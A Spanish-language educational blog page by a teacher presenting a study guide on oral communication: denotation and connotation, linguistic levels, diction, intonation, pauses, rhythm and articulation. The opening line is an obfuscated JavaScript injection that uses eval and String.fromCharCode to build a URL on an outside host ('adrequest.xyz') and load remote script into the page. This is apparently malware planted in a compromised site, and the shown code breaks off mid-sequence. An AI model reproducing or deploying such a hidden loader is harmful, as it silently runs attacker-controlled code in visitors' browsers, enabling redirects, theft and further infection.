var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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Blog de Lcdo. Gilber Henriquez.

TRANSFORMAMOS LA EDUCACIÓN CON EXCELENCIA

SALVE REINA. GRACIAS POR TAN VALIOSA PARTICIPACIÓN.

Posted by HENRIQUEZ on Febrero 25, 2019 under General

GUÍA PARA EXPOSICIONES MODULO II. LENGUAJE Y COMUNICACIÓN.

Posted by HENRIQUEZ on Febrero 25, 2019 under General

MÓDULO II: La Comunicación Oral.

Demostrar mediante discusiones y diálogos en diferentes contextos y situaciones comunicativas el acto comunicacional.

Contenidos:

 La comunicación oral: Definición de Comunicación Oral;

Significados de la Comunicación Oral: Significado Denotativo, Significado Connotativo;

Niveles Lingüísticos en la Comunicación Oral: Nivel Fónico, Nivel Morfosintáctico o Gramatical, Nivel Léxico-Semántica, Nivel Pragmático.

Tono, Dicción y Volumen en la Voz; Características del Orador Ideal. Condiciones para que se logre una buena Comunicación. Organización del Discurso Oral.

 

Qué es la Comunicación oral:

La comunicación oral es aquella que se establece entre dos o más personas haciendo uso de un idioma o código compartido a través de un medio de trasmisión físico, que tradicionalmente era el aire, aunque hoy día podemos agregar el teléfono o la videoconferencia.

La comunicación oral nos permite trasmitir a la persona con la que hablamos información, ideas, sentimientos, emociones, creencias, opiniones, actitudes, etc.

Para realizar la comunicación oral, nos valemos de la voz para reproducir los sonidos de la lengua, formar palabras y elaborar mensajes que contengan la información que queremos trasmitir a nuestro interlocutor.

Para que la comunicación oral tenga lugar, debe haber al menos dos personas involucradas que realicen, alternativamente, el papel de emisor (el que entrega la información) y receptor (el que la recibe).

La información transmitida se conoce como mensaje. Este mensaje es elaborado de acuerdo a un sistema de sonidos lingüísticos correspondientes a un código o idioma.

La trasmisión del mensaje se realiza a través de un medio físico, que puede ser el aire, pero también puede ser algún dispositivo de telecomunicaciones, como un teléfono o una computadora.

El proceso de comunicación oral, a su vez, está enmarcado dentro de un contexto que puede incidir sobre el sentido o significado del mensaje: el lugar, la situación y la circunstancia en que este sea entregado vean a condicionar la forma en que este es recibido e interpretado.

 

La comunicación oral se caracteriza por ser espontánea, elaborarse sobre la marcha, ser directa y sencilla, por recurrir al lenguaje corporal para reforzar o enfatizar el mensaje (gestos, actitudes, posturas), por ser dinámica e inmediata.

La comunicación oral es propia del ser humano y se establece en todos los ámbitos en que este se relaciona y necesita comunicarse: desde el personal hasta el profesional, desde el político hasta económico o comercial.

Ejemplos de comunicación oral se dan cotidianamente: una conversación, una charla, una conferencia, un discurso, una entrevista, una clase magistral, un debate, son situaciones de comunicación oral bastante comunes.

Niveles de la comunicación oral

Comunicación intrapersonal. Es el acto de hablar con uno mismo, comunicación que ocurre dentro del individuo en ausencia de otra persona. El ser humano repasa conocimientos que requieren antes de efectuarse una actividad o tomar una decisión importante.

Comunicación interpersonal. Cuando dos o más personas transmiten un mensaje en forma directa (cara a cara) emisor-receptor.

Comunicación pública. Se presenta cuando el peso de la comunicación recae en un emisor que envía su mensaje a un grupo indeterminado de receptores Ejemplo: Un discurso, un instructor para capacitación, un mitin político.

Comunicación masiva. Los elementos que intervienen son: emisor-mensaje-canal-receptor retroalimentación y ruido a diferencia con la comunicación interpersonal, la comunicación masiva esta representada por los medios de radio, televisión, cine, periódico, entre otros. El propósito del mensaje es el de informar, entretener, persuadir, educar.

Comunicación de Grupos Pequeños. Este está compuesto de tres o mas participantes, la comunicación es reciproca en la que cada uno tiene su rol emisor-receptor, en ella no existe un orden de participación, la cantidad máxima de persona para este grupo es de ocho personas, para que su propósito central sea el cumplimiento tanto en los niveles verbales como no verbales.

La comunicación oral es una habilidad

La posibilidad de comprendernos unos a otros depende mucho de con quién estemos y de las palabras que usamos. El dominio de las habilidades del discurso hablado nos permiten:

 

Comunicar información compleja de manera que todos la puedan comprender.

Influir en las actitudes y el comportamiento de la gente.

Obtener un empleo.

Alcanzar una posición de liderazgo.

 

El discurso es el razonamiento extenso dirigido por una persona a otra u otras, es la exposición oral de alguna extensión hecha generalmente con el fin de persuadir, y que ella como dijimos se encuentra conformada por tres aspectos que son: Tema o contenido del discurso, Orador y Auditorio. En primer lugar, tenemos el contenido del discurso, el cual debe ser tejido en el telar de las experiencias, debe estar copado de detalles, ilustraciones, personificaciones, dramatismo y ejemplos en algunos casos; y todos estos expresados con términos familiares y concisos los cuales den la comprensión y el entendimiento adecuado; en donde lo que se quiere decir sea entendido por todos

Tipos de comunicación oral

Comunicación oral espontánea es aquella que no atiende a un plan, un tema o una estructura establecidos previamente, sino que se desarrolla en forma de diálogo entre dos o más personas. Un ejemplo de comunicación oral espontánea lo constituye una conversación informal.

Comunicación oral planificada

Como comunicación oral planificada se conoce aquella que obedece a un plan previamente trazado, con pautas, temas o estructuras diseñadas de antemano. Dicho plan permitirá guiar el proceso de comunicación para que este se lleve a cabo dentro de ciertos límites definidos. Este tipo de comunicación puede ser, a su vez, de dos clases: multidireccional y unidireccional.

Multidireccional

La comunicación oral planificada es multidireccional cuando, dentro de sus pautas de interacción, establece la intervención de varios interlocutores que ofrecen sus distintas opiniones y enfoques sobre un tema o asunto definido de manera previa. Un ejemplo de este tipo de comunicación puede ser un debate.

Unidireccional

Hablamos de comunicación oral planificada unidireccional cuando en ella interviene únicamente un emisor que se dirige a un público para exponer de manera extensa un tema o cuestión. Ejemplos de comunicación unidireccional son los discursos, las conferencias o las clases magistrales.

 EL SIGNIFICADO DENOTATIVO Y CONNOTATIVO

‎ ‎El SIGNIFICADO de una palabra puede definirse como “el conjunto de ‎rasgos conceptuales vinculados de un modo fijo y socialmente válido a una imagen ‎acústica (referente) determinada”.‎

‎ ‎DENOTACIÓN es el conjunto de rasgos conceptuales de una palabra, que nos ‎llevan a un “referente”.‎

‎ ‎La palabra (el elemento material que la forma) simboliza un “pensamiento ‎o referencia” (el significado concreto) que a su vez “refiere o hace referencia” al objeto ‎o acontecimiento sobre el que estamos hablando (“referente”). ‎

‎ ‎REFERENCIA es la relación que establecemos en un discurso cualquiera ‎entre el signo o palabra y su referente u objeto. Por ejemplo, cuando ‎oímos la palabra “puerta”, pensamos en una puerta (aparece en nuestra mente ‎la idea “puerta”) y así comprendemos lo que el que hablante está diciendo (a ‎lo que se refiere). Y al revés, cuando queremos hablar del objeto “puerta”, ‎‎“pensamos” en una puerta y esto nos hará pronunciar la palabra “puerta”.‎

La referencia es una relación que se establece en el discurso, es decir, en el USO de la ‎palabra en un enunciado determinado, que puede cambiar de un enunciado a otro o ‎incluso dentro del mismo enunciado. ‎

Según la teoría referencial, las palabras tienen un significado por sí mismas, un ‎significado objetivo, independiente de los distintos USOS.‎

El significado es una relación constante entre significante y objeto y que no cambia en ‎los distintos usos. Ejemplo: Tu COCHE es mejor que mi COCHE.‎

Para los defensores de la teoría contextual del significado, “el verdadero” significado ‎de una palabra depende del ‘USO’ en el lenguaje”. Así, por ejemplo, el significado de la ‎palabra “gato” es su uso en contextos tales como “El gato coge al ratón”, “Compré ‎pescado para mi gato”. En definitiva, la teoría contextual dice que una unidad léxica no ‎tiene sentido por sí misma sino solamente en un contexto.‎

Es cierto, como pone de manifiesto esta teoría, que el significado de una palabra ‎depende del CONTEXTO o SITUACIÓN en que aparezca. Recordemos que ‎‎“contexto situacional o situación” es el conjunto de circunstancias extralingüísticas ‎que intervienen en la comunicación y que influyen en la elección de las palabras o ‎hacen que éstas adquieran un SENTIDO distinto. (Ejemplo la expresión “¡un clavo!” o ‎la palabra “gato”, “ratón”, etc.).‎

CONTEXTO LINGÚÍSTICO es el conjunto de unidades que preceden o siguen a una ‎palabra en el texto. Aisladamente, una palabra puede tener varios significados, pero ‎cuando la situamos en un contexto determinado, adquiere un significado concreto y ‎único entre todos los posibles. ‎

‎(“Verde prado de fresca sombra lleno”; “ese muchacho está muy verde”; “el libro me ‎costó dos verdes”.)‎

Es cierto que el significado de una palabra solamente puede averiguarse estudiando su ‎uso, pero también es cierto que los significados son entidades objetivas con existencia ‎independiente al margen de toda apreciación individual. ‎

 

EL SIGNIFICADO CONNOTATIVO.‎

‎ ‎Definimos denotación como “el conjunto de rasgos conceptuales que integran el ‎núcleo semántico fundamental de la palabra y que nos llevan a un referente”. El ‎significado denotativo:‎

‎* Es, en esencia, común a todos los hablantes de una lengua.‎

‎* Es un componente estable del significado de la palabra.‎

‎* Constituye una información objetiva sobre el referente de la palabra; no ‎implica ninguna valoración. ‎

Pero, en su uso por los hablantes dentro del discurso, las palabras pueden adquirir ‎además rasgos de significado no denotativos: son las CONNOTACIONES o rasgos ‎connotativos. Se trata de contenidos que el hablante sugiere o evoca intencionada o ‎involuntariamente en la mente del oyente y que éste ha de comprender para que la ‎comunicación sea completa.‎

Compárense estos dos enunciados:‎

  1. a) Tan bizarro iba sobre su cabalgadura, que cualquiera diría que iba montado en un ‎caballo, y no en un asno viejo y derrengado.‎

 

  1. b) Cuando bailas, te mueves como un caballo.‎

 

En ambos, la palabra caballo tiene la misma denotación y, sin embargo, su significado ‎es bien diferente. En el primero el término lleva asociadas ideas como ‘belleza’, ‎‎‘elegancia’; en el segundo se asocia a ‘torpeza’‎

 

Los rasgos connotativos:‎‎ En el plano de la lengua, connotaciones son aquellas asociaciones que posee ‎objetivamente el término al margen de su contenido conceptual -así ‘chucho’ posee los ‎rasgos connotativos (+ familiar) (+despectivo) frente a ‘perro’; ‘ácido acético’ (+ ‎tecnicismo) frente a ‘vinagre’-.‎

 

‎ En el plano del habla, connotaciones son las evocaciones afectivas o ideológicas que ‎acompañan a las palabras para un hablante o conjunto de hablantes y que revisten un ‎carácter subjetivo.‎

 

El lenguaje literario opera con un léxico fuertemente connotativo. El lenguaje ‎periodístico y la propaganda política e ideológica tienen muy en cuenta las ‎connotaciones de todo tipo de giros y palabras (compárense los siguientes enunciados: ‎‎“Las fuerzas del orden se vieron obligadas a disparar con sus armas reglamentarias ‎sobre los alborotadores”/ “la policía disparó indiscriminadamente sobre los ‎trabajadores indefensos”).‎

‎ ‎

El lenguaje no sólo expresa lo que el sujeto quiere racionalmente transmitir, sino que ‎está cargado de elementos simbólicos e inconscientes capaces de contradecir ‎flagrantemente lo que expresan las palabras.‎

RESUMIENDO:‎

 

DENOTACIÓN es el significado o significados objetivos que tienen las palabras y ‎que son comunes a todos los hablantes. Es el significado básico, el significado primario, ‎el que aparece en los diccionarios. La palabra ‘muerte’ tiene el significado denotativo ‎de “cesación de vida”‎

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CONNOTACIÓN es el significado asociado al significado básico conceptual (La ‎palabra antes citada, ‘muerte’, a su significado básico, denotativo, lleva asociado los ‎significados connotativos de ‘dolor’, ‘angustia’, ‘rechazo’, etc.). Estas asociaciones ‎pueden ser objetivas y de validez común (los citados de la palabra ‘muerte’) o pueden ‎ser evocaciones de tipo subjetivo, es decir, algo muy personal (evocaciones que las ‎palabras despiertan en nuestra imaginación: la palabra ‘toro’ no tiene las mismas ‎connotaciones para un torero y para una persona de la calle). La connotación es una de ‎las causas esenciales de los cambios de significación: las palabras se vacían de su ‎significado original y se llenan de otras significaciones.‎

 

Niveles lingüísticos en la comunicación oral.

  1. Nivel Fonético-Fonológico

En el nivel fonético-fonológico es un cambio influido básica por factores internos, relacionados con las propiedades articulatorias o facilidad de articulación como la asimilación fonética, la disimilación y otros fenómenos como la epéntesis o elisión de sonidos.

También se ha mencionado que las lenguas pueden cambiar por factores externos como la influencia del substrato lingüístico, que se da cuando hablantes de otra lengua adquieren la nueva lengua como lengua habitual de la comunicación llevando rasgos fonéticos de su antigua lengua. Aunque técnicamente eso sería la creación de una nueva variedad en lingüística histórica ese tipo de cambios se considera como uno de los posibles factores de diversificación, y por tanto “cambio” de una lengua.

1.1 La Fonética

Es la rama de la lingüística que estudia la producción y percepción de los sonidos de una lengua en sus manifestaciones físicas. Sus principales ramas son: fonética experimental, fonética articulatoria, fonemática y fonética acústica.

1.1.1 Fonética Experimental: Es la que estudia los sonidos orales desde el punto de vista físico, reuniendo y cuantificando los datos sobre la emisión y la producción de las ondas sonoras que configuran el sonido articulado.

El conjunto de los datos analizados al medir los sonidos depende únicamente de la precisión del instrumental así como de otros conocimientos conexos. También se han descubierto diferencias importantes en cada sonido oral.

1.1.2 Fonética articulatoria: Es la que estudia los sonidos de una lengua desde el punto de vista fisiológico, es decir, describe qué órganos orales intervienen en su producción, en qué posición se encuentran y cómo esas posiciones varían los distintos caminos que puede seguir el aire cuando sale por la boca, nariz, o garganta, para que se produzcan sonidos diferentes.

Los órganos que intervienen en la articulación del sonido son móviles o fijos: Son móviles los labios, la mandíbula, la lengua y las cuerdas vocales, que a veces reciben el nombre de órganos articulatorios. Con su ayuda el hablante modifica la salida del aire que procede de los pulmones. Son fijos los dientes, los alvéolos, el paladar y el velo del paladar. Los sonidos se producen cuando se ponen en contacto dos órganos articulatorios por ejemplo el bilabial (p), que exige el contacto entre los dos labios.

1.1.3 Fonemática: Es el estudio de los sonidos en el discurso, es decir, de los fonemas que son las unidades mínimas distintivas.

Por ejemplo, entre las palabras las y los sólo existe una diferencia de significado y de forma que es la que representa la distinción entre los fonemas [a] y [o]. Lo mismo sucede entre pala, para, paga, pana y pasa, las diferencias de significado se apoyan en los diferentes fonemas que las distinguen, esto es, [l], [r], [g], [n] y [s]. Los fonemas están configurados también por unidades mínimas que los diferencian entre sí y son los llamados rasgos distintivos.

1.1.4 Fonética acústica: Es la que estudia la onda sonora como la salida de un resonador cualquiera; esto es, equipara el sistema de fonación con cualquier otro sistema de emisión y reproducción de sonidos. En la comunicación, las ondas sonoras tienen un interés mayor que la articulación o producción de los sonidos, para un determinado auditorio recibe y descodifica la impresión a pesar de que haya sido emitida por medio de una articulación oral, o por medio de un determinado aparato emisor de sonidos o incluso por medio de una cotorra. Para grabar las características más significativas de las ondas sonoras y para determinar el resultado de las distintas actividades articulatorias se puede emplear el espectrógrafo. De forma experimental, para poder llegar a saber cuáles son los rasgos necesarios y suficientes que identifican los sonidos de la lengua, se suprimieron partes de la grabación de la onda sonora y se reprodujeron otras.

1.2 Fonología

Estudio de los fonemas de una lengua. Describe el modo en que los sonidos funcionan (en una lengua o en lengua en general) en un nivel abstracto o mental.

La r presenta variantes. Así, por ejemplo, no es lo mismo decir pero que perro. Se trata de fonemas diferentes y a ellos será a los que dedique su estudio la Fonología.

En la Fonología existen varias ramas:

1.2.1 La Fonemática, que estudia los fonemas de una lengua.

1.2.2 La Prosodia que estudia los suprasegmentos (acento, entonación) que acompañan a los fonemas y que, al igual que ellos, son capaces de cambiar el significado (función distintiva). Por ejemplo: término, termino y terminó sólo varían en la posición del acento, pero son signos lingüísticos diferentes; por tanto, el acento debe ser estudiado por la Fonología.

  1. Nivel Morfológico

Trata de cómo las palabras se construyen a partir de unas unidades de significado más pequeñas llamadas morfemas, por ejemplo:

Rápida + Mente == Rápidamente. Y comprende:

2.1 Morfología

Estudia la estructura interna de las palabras para delimitar, definir y clasificar sus unidades, las clases de palabras a las que da lugar (morfología flexiva) y la formación de nuevas palabras (morfología léxica).

2.1.1 Morfología Flexiva

Estudia la variación de las formas de las palabras al combinarse un lexema con diferentes morfemas flexivos tales como el número, el tiempo, lapersona, etcétera. Así, amo, amas, ama, por ejemplo, son formas flexivas del verbo amar, y a su vez esta palabra es la forma canónica que, por convención, las representa a todas. Las formas distintas de una forma canónica constituyen su paradigma

. La morfología flexiva estudia la estructura semántica y la forma de los paradigmas.

2.1.2 La Morfología Léxica

Se ocupa de los recursos que poseen las lenguas para formar nuevas palabras a partir de las formas ya existentes. Habitualmente, los procesos de formación de palabras se dividen en derivación y composición.

En general, las palabras pueden descomponerse en unidades significativas mínimas llamadas monemas. Los monemas, a su vez, pueden ser Lexema o Morfema.

2.1.3 Monema

Es el signo lingüístico mínimo, dotado, por tanto, de significante y significado. Puede ser parte de una palabra (in-toc-able), o constituir una palabra entera, cuando ésta no puede descomponerse (cocodrilo).

2.1.4 Lexema

Es una unidad con significación plena; es decir, designa conceptos (nombres, verbos, adverbios, adjetivos). Tradicionalmente, se le llama raíz. Es la forma significativa mínima, es el que le da el significado a la palabra.

2.1.5 Morfema

Es una unidad de significación gramatical que modifica el significado de los lexemas o los relaciona entre sí (desinencias, prefijos, sufijos, determinantes, preposiciones y conjunciones).

  1. Nivel Sintáctico

Estudia las combinaciones de las unidades lingüísticas con el fin de que estos desempeñen una función y formen oraciones.

Función sintáctica: es el papel que desempeña un elemento dentro de un contexto, cada función está referida a las funciones de los otros elementos

Las estructuras sintácticas de una lengua son limitadas, sin embargo pueden dar lugar a un número no limitado de mensajes posibles. Este hecho es posible gracias a una característica de la lengua denominada recursividad. También la recursividad ofrece la posibilidad teóricamente indefinida de ir encajando unas estructuras sintácticas dentro de otras.

3.1 Sintaxis

Estudio de la combinatoria sintagmática, en dos niveles: el suboracional, que corresponde al propio de los llamados sintagmas, y el oracional que estudia las relaciones específicas sintagmáticas de los signos lingüísticos que conforman, a su vez, el signo lingüístico gramatical superior del sistema de la lengua.

Dentro de una oración se distinguen las funciones de sujeto y predicado, y dentro de un sintagma se distinguen las funciones de los otros complementos.

3.2 Distinción Entre Morfología y Sintaxis

La descripción gramatical de todas las lenguas del mundo se divide, por convención, en dos secciones: morfología y sintaxis. La relación entre las dos es la siguiente:

La morfología explica la estructura interna de las palabras mientras que la sintaxis describe cómo las palabras se combinan para formar sintagmas, oraciones y frases.

  1. Nivel Léxico

El léxico puede significar una lista de palabras; las palabras utilizadas en una región específica, las palabras de un idioma, o incluso de un lenguaje deprogramación, Las disciplinas que se ocupan del léxico son varias que comprende:

4.1 Lexicología

Es el conjunto de palabras con que cuenta nuestra lengua, no es fijo ni permanece estable. Las palabras cambian de forma y de significado. Con el tiempo, algunos desaparecen, mientras surgen otras, necesarias para designar nuevos inventos, descubrimientos o cambios culturales; Estudio de las palabras de una lengua, su organización y sus significados.

Habitualmente se considera que el léxico o vocabulario de una lengua está formado por palabras, pero el significado de “palabra” es demasiado vago y ambiguo para referirse a las unidades de estudio de la lexicología. En su lugar, se habla de unidades léxicas, entidades abstractas cuyo ámbito va más allá de lo que suele considerarse comúnmente palabras.

Por un lado, una unidad léxica incluye todas las formas diferentes que una palabra adopta por variación morfológica para expresar género, número, persona, modo, tiempo, etc. Así, la unidad léxica amar representa todas las formas en que este verbo se puede presentar en el uso de la lengua: amo, amas, aman. Puede entenderse, por tanto, que las unidades que estudia la lexicología son los lexemas, unidades abstractas con significado léxico que se combinan entre sí.

Por otro lado, una unidad léxica puede ser una expresión formada por lo que suelen considerarse varias palabras, que a su vez pueden presentar variación morfológica: tener en cuenta, banco de datos, hoy por hoy, a la buena de Dios.

4.2 Lexicografía:

Se ocupa de los principios teóricos en que se basa la composición de diccionarios, de la representación del vocabulario de una lengua natural o de un  sector de ella (un dialecto, sociolecto, etc.); se trata por tanto de una rama de la lexicología, que privilegia los aspectos aplicados la composición de diccionarios, sin que esto signifique que no le competa la reflexión acerca de los problemas teóricos que conlleva esa labor. Por el contrario, se suele definir la lexicografía como “la teoría de la descripción de diccionarios” y la “codificación de la estructura paradigmática y sintagmática del léxico de una lengua, la transmisión ordenada de información léxica (y gramatical) en forma de diccionario”.

  1. Nivel Semántico

Trata del significado de las palabras y de cómo los significados se unen para dar significado a una oración, también se refiere al significado independiente del contexto, es decir de la oración aislada., comprende:

5.1 Semántica:

Estudia el significado de las palabras y la relación que se establece entre significante y significado, o bien entre distintos significados; estudio del significado de los signos lingüísticos.

Desde el punto de vista del habla, como acción, se destaca:

5.1.1 Texto: unidad superior de comunicación. Es una composición de signos codificado en un sistema de escritura (como un alfabeto) que forma una unidad de sentido.

5.1.2 Pragmática: Estudia cómo enunciación y enunciado, la deixis, las modalidades, los actos de habla, la presuposición, la estructura informativa del enunciado, el análisis del discurso, el diálogo y la lingüística textual.

DICCIÓN, ENTONACIÓN Y GRUPO FÓNICO:

DICCIÓN Es la manera de pronunciación dentro de las condiciones que imponen las reglas gramaticales.

Demóstenes opinaba que la pronunciación es lo más importante, la misma debe

ser clara y entendible.

El desconocimiento del idioma hace que cometamos muchos errores imperdonables.

Por tanto el buen locutor y el buen orador deben profundizar en el estudio y práctica de la ortología, que nos enseña la correcta pronunciación de las palabras.

ENTONACIÓN: Es el grado de elocución, inflexión y expresión de la voz alcanzada, para lograr una expresión oral de máxima calidad.

TONO: Es un elemento sonoro, no verbal. La entonación juega un papel muy importante en

la comunicación oral sobre todo en la oratoria.

Para dar más sentido y mayor expresividad a las palabras, debe graduarse

con pequeños matices diferentes, la intensidad y volumen de la voz.

 

Debemos hablar con el tono de voz normal, a menos que vayamos a imitar a una persona.

Hay que saber variar la voz dentro del tono que es normal, nodebe hablarse siempre en el mismo tono, pues esto crea monotonía.

Alguien ha dicho: “La entonación no debe adormecer a causa de su monotonía, herir por  la vehemencia o molestar por la ironía, a no ser que esa sea la intención

del orador por motivos determinados”.

La entonación puede ser ascendente, descendente y mixta.

La ascendente sugiere interrogación, indecisión, incertidumbre, duda o suspenso.

La descendente sugiere firmeza, determinación, certeza, decisión o confianza.

La mixta es doble, a la vez, ascendente y descendente, nos puede sugerir

una situación de conflicto o una contradicción de los significados y se usa frecuentemente para denotar ironía o sarcasmo o para exponer una sugerencia.

 

GRUPO FÓNICO:

Es la porción de discursos comprendida entre dos pausas.

El grupo fónico medio oscila en español entre las ocho y las once sílabas, puede haber claro está, grupo fónico de menos sílabas, como por ejemplo  ‘si’, contestando a una pregunta.

Es importante el grupo fónico, porque los comportamientos tonales del final de cada grupo fónico nos dan unos niveles determinados que son las características principales de la entonación.

LAS PAUSAS, EL RITMO  Y EL ÉNFASIS.

PAUSAS:

Son  las interrupciones o detenciones que realizamos cuando hablamos  o leemos.

Las pausas se originan por dos razones: Fisiológicas y lingüísticas.

Lo ideal es que coincidan las dos. Fisiológicamente vienen determinadas por la necesidad de respirar y lingüísticamente porque señalan el final de una expresión.

                                                                                                

Las pausas sirven para puntuar los pensamientos, del mismo modo que  la coma, punto y coma y punto, sirven para separar las palabras escritas en grupos de pensamientos, las pausas de distintas duración nos ayudan a separar las palabras habladas en unidades que tienen un significado en conjunto.

La pausa permite fácilmente las inflexiones de la voz, el cambio de tono y ritmo y

en definitiva contribuye, si se hace buen uso de ella, a mantener más viva la atención.

Una parrafada sin pausa es una monotonía aterradora. El uso inadecuado de las mismas, resulta tan perjudicial y confuso para el oyente, como el uso de inadecuada puntuación en un escrito.

 

Las pausas pueden ser: 

Psicológicas:Cuando el ánimo del orador quiere permitir al auditorio un momento de reflexión.

 

Lógicas:se usan cuando lo exige el contexto y la frase, generalmente son breves;  al término de una frase importante o de mayor duración, cuando se va a abordar un nuevo desarrollo, en cuyo caso no siempre será fácil distinguirlas de las pausas psicológicas.

 

Afectivas: Cuando se desea suscitar la emoción del oyente.

 

 Respiratorias: Cuando agotada la respiración se hace forzosa inspiración. Una modalidad en la pausa, es el silencio, especialmente querido y deseado por el que habla, se requiere mucho dominio de la situación y de uno mismo. Durante ese silencio un buen orador sabe con gestos y expresiones sobrias, mantener el interés de los oyentes, de ahí que se hable de la elocuencia del silencio, aunque en todo momento debe tenerse presente que debe ser, un silencio justificado

 

RITMO: La relación entre los acentos y las pausas crean esa cadencia o pulsación que se conoce con el nombre de ritmo. Si esa relación se manifiesta por intérvalos de tiempos breves o iguales, se habrá obtenido un ritmo rápido y monótono.

Si se manifiesta por intervalos de tiempo muy alejado entre sí o muy irregular,

no se advertirá el ritmo en el primer caso y en el segundo caso será caótico. El ritmo está íntimamente ligado con la velocidad en el habla. Hay momentos en que deberá hablar con más velocidad que otras. Una persona de temperamento excitable, habla siempre a un ritmo apresurado, mientras que una persona tranquila lo hace a un ritmo más lento. Pero la persona entusiasta y reflexiva evitará tanto un extremo como el otro y variará su ritmo, empleando esta variación para demostrar la intensidad de sus convicciones o la profundidad de sus sentimientos.         

                

ÉNFASIS: 

Es dar sentido a lo que se dice, acentuar a lo que tiene más interés.

Lo que es la médula de un párrafo puede pasar muchas veces  inadvertida por no cuidarse este aspecto tan importante de la dicción. Debe evitarse no obstante, caer en dos prácticas viciosas; el uso exagerado de la fuerza enfática y el uso del énfasis de manera continua.

 

EL TIMBRE: Es el sonido característico de una voz.

Esta cualidad es la que nos permite identificar quien está hablando, sea por radio, TV, teléfono o personalmente, por el solo sonido de la voz. Cada persona tiene su timbre o sonido peculiar de voz, esta dependerá de las condiciones individuales de los órganos fonéticos.

LA INTENSIDAD: Es el mayor o menor grado de fuerza al emitir sonidos del habla. Cuando hablamos en voz baja lo hacemos con poca intensidad.

No debe confundirse el tono con la intensidad.

Hay factores determinantes en la intensidad; la emoción, la circunstancia, el estilo, etc.  

 

LA ARTICULACIÓN;  SU IMPORTANCIA. 

Articular bien, es pronunciar distintamente todas las consonantes. Debe tenerse en cuenta que la lengua es el órgano que contribuye de modo más importante a la claridad de los sonidos de las palabras, porque aunque la boca tiene la apertura necesaria, los sonidos producidos no pueden modularse si la lengua permanece inactiva o se mueve con torpeza.

 

Los labios también son muy importantes para una pronunciación clara, si se dejan excesivamente relajados, el resultado es una serie de murmullos confusos, especialmente en los sonidos

P B M F, que exigen una enérgica acción labial

 

Cuando se habla ante un micrófono, debe evitarse, claro está, la emisión excesivamente explosiva de las consonantes, pero en otros casos deben emplearse los labios con movimientos de mayor firmeza para dar más rotundidad a las palabras.

Articular bien, entre otras cosas, permite hacerse comprender claramente, incluso, cuando se habla en voz baja.

 

A veces locutores, oradores y actores descuidan la articulación, esto provoca la poca comprensión de lo que se dice, y por tanto, se pierde el interés del público.

Algunos locutores de radio no pronuncian claramente los finales de las palabras, sobre todo, si son esdrújulas o sobreesdrújulas.

 

Como al final de una frase pronunciada suele descender el tono, la última sílaba se apaga, no se oye y es preciso darle intensidad, más aún si se trata de una esdrújula. 

 

CUALIDADES DE LA ARTICULACIÓN

CLARIDAD, INTENSIDAD, FLEXIBILIDAD Y ÉNFASIS

CLARIDAD: O nitidez es la primera cualidad de la articulación, debe accionarse correctamente el maxilar inferior, la lengua y los labios para lograr una dicción bien definida.

Ciertos hábitos viciosos que no se han corregido a tiempo, son los causantes de una defectuosa dicción. Es preciso hablar despacio para articular con claridad.

INTENSIDAD: El factor que en mayor grado afecta la inteligibilidad, es probablemente el nivel sonoro de las palabras, que depende a su vez, por una parte, de la distancia entre el emisor y el receptor y por otra de la intensidad de los ruidos ambientales, ya que estos pueden enmascarar o debilitar los sonidos.

Una voz llega más lejos mientras más intensa es, cuanto más aguda es, porque la frecuencia de las vibraciones es mayor.

Existen instrumentos para medir con precisión la intensidad sonora, pero no es probable que el orador los tenga, aunque siempre se puede apreciar por las expresiones de los oyentes más alejados, si se está escuchando correctamente lo que se dice.

 

Es pues una de las responsabilidades básicas del disertante u orador, hacer el uso más adecuado de su fuerza vocal, es decir debe hablar con intensidad suficiente para ser oído por el auditorio.        

Se debe aprender a graduar con pequeños matices diferenciales la intensidad y volumen de la voz. Si el orador quiere dar la impresión de energía, debe aumentar la fuerza de su voz, es decir, debe hablar con intensidad suficiente para ser oído por el auditorio, correctamente.

Hablar en voz baja puede sugerir que el orador no está seguro de sí o que no cree verdaderamente aquello que dice.

A veces para atraer más la atención o para provocarla, será necesario bajar mucho el volumen de la voz, en otros casos será conveniente levantarla más, lo cual es un recurso muy eficaz para despertar el interés cuando está languideciendo.

Es posible hacer reaccionar a una audiencia apática, si de pronto pronunciáramos una frase con aumento de volumen, pero sin olvidar que ese efecto no se produce por el aumento sonoro en sí mismo, sino por lo que supone de contraste con frases o palabras anteriores.

FLEXIBILIDAD: Un discurso puede perfectamente ser inteligible pero es posible que deje en quien lo escucha, una nebulosa sensación, que frustre de ese modo la comunicación al auditorio.

Esto sucede cuando la voz carece de la flexibilidad necesaria para expresar significados finos y emocionales de los que por regla depende una pronunciación exacta y agradable.

¿Qué hacer para que las ideas centrales se destaquen sobre las demás? 

Lógicamente, tener la flexibilidad necesaria y eso se logra haciendo uso de cualidades importantísimas como la velocidad, las pausas, el ritmo y el  tono, elementos necesarios para dar claridad y vivacidad a la expresión oral.

Veamos: 

VELOCIDAD: la mayor parte de los que hablan con excesiva velocidad fatigan a quienes quisieran escucharle.

Otras en cambio, hablan con excesiva y desesperante lentitud.

¿A qué velocidad debe hablarse?

 

Se puede decir que se habla con mayor velocidad si se trata un tema superficial, que puede seguirse fácilmente, por el auditorio o de un tema suficientemente conocido.

Se habla con menor velocidad, cuando los oyentes están poco familiarizados con el asunto que se trata, o cuando el nivel intelectual de aquellos sea muy diverso.

